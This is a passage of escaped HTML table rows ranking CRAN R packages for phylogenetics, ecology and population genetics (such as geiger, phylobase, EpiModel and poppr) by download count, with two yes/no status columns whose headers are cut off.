      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=geiger"&gt;geiger&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;26292&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;25&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phylobase"&gt;phylobase&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;25190&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;26&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=HSAUR3"&gt;HSAUR3&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;24462&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;27&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=FD"&gt;FD&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;23007&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;28&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=EpiModel"&gt;EpiModel&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;21486&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;29&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=adephylo"&gt;adephylo&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;20348&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;30&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=poppr"&gt;poppr&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;19874&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;31&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=vcfR"&gt;vcfR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;19346&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;32&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=geomorph"&gt;geomorph&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;18793&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;33&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=adespatial"&gt;adespatial&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;18084&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;34&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ggimage"&gt;ggimage&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;16587&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;35&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=BoSSA"&gt;BoSSA&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;15993&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;36&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=asnipe"&gt;asnipe&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;14109&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;37&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=hierfstat"&gt;hierfstat&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;13967&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;38&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=caper"&gt;caper&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;13847&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;39&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=DDD"&gt;DDD&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;11690&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;40&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=tidygraph"&gt;tidygraph&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;11612&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;41&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=DHARMa"&gt;DHARMa&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;11596&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;42&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=paleotree"&gt;paleotree&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;11359&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;43&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=betapart"&gt;betapart&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;11111&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;44&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=polysat"&gt;polysat&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;10831&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;45&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phyclust"&gt;phyclust&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;10631&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;46&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=MVA"&gt;MVA&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;10280&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;47&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=GUniFrac"&gt;GUniFrac&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;9007&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;48&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=enveomics.R"&gt;enveomics.R&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;8696&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;49&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=AbSim"&gt;AbSim&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;8432&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;50&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=stylo"&gt;stylo&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;8336&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;51&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phylolm"&gt;phylolm&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;8172&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;52&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=apTreeshape"&gt;apTreeshape&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;8101&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;53&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=BioGeoBEARS"&gt;BioGeoBEARS&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;8007&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;54&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=expands"&gt;expands&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;7764&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;55&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=mvMORPH"&gt;mvMORPH&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;7579&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;56&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=BAMMtools"&gt;BAMMtools&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;7344&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;57&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=sand"&gt;sand&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;7014&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;58&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=diversitree"&gt;diversitree&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;6946&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;59&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=homals"&gt;homals&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;6933&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;60&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=tidytree"&gt;tidytree&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;6378&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;61&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=convevol"&gt;convevol&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;6351&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;62&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ecospat"&gt;ecospat&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;6320&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;63&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=entropart"&gt;entropart&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;6299&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;64&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phylotools"&gt;phylotools&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;6182&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;65&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rmetasim"&gt;rmetasim&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;6064&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;66&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rphast"&gt;rphast&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5890&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;67&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=corHMM"&gt;corHMM&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5836&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;68&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=apex"&gt;apex&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5750&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;69&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=bayou"&gt;bayou&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5686&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;70&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=cati"&gt;cati&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5572&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;71&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ouch"&gt;ouch&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5520&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;72&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=hisse"&gt;hisse&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5267&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;73&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phyloclim"&gt;phyloclim&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5223&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;74&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rdryad"&gt;rdryad&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5188&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;75&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=dartR"&gt;dartR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5169&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;76&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=SYNCSA"&gt;SYNCSA&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5102&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;77&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=OutbreakTools"&gt;OutbreakTools&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5057&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;78&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=TreeSim"&gt;TreeSim&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4988&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;79&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ALA4R"&gt;ALA4R&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4943&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;80&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ips"&gt;ips&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4873&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;81&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=PCPS"&gt;PCPS&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4858&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;82&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=metacoder"&gt;metacoder&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4796&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;83&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=OUwie"&gt;OUwie&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4792&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;84&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=aphid"&gt;aphid&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4791&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;85&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=brranching"&gt;brranching&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4670&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;86&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=warbleR"&gt;warbleR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4645&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;87&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=MPSEM"&gt;MPSEM&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4639&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;88&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=adhoc"&gt;adhoc&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4599&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;89&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=distory"&gt;distory&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4578&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;90&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=Momocs"&gt;Momocs&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4443&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;91&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phyloTop"&gt;phyloTop&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4426&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;92&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ggmuller"&gt;ggmuller&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4403&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;93&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=paleoTS"&gt;paleoTS&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4392&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;94&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=BIEN"&gt;BIEN&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4380&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;95&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=HTSSIP"&gt;HTSSIP&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4198&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;96&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=strap"&gt;strap&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4153&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;97&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=nodiv"&gt;nodiv&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4103&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;98&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=BPEC"&gt;BPEC&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;4095&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
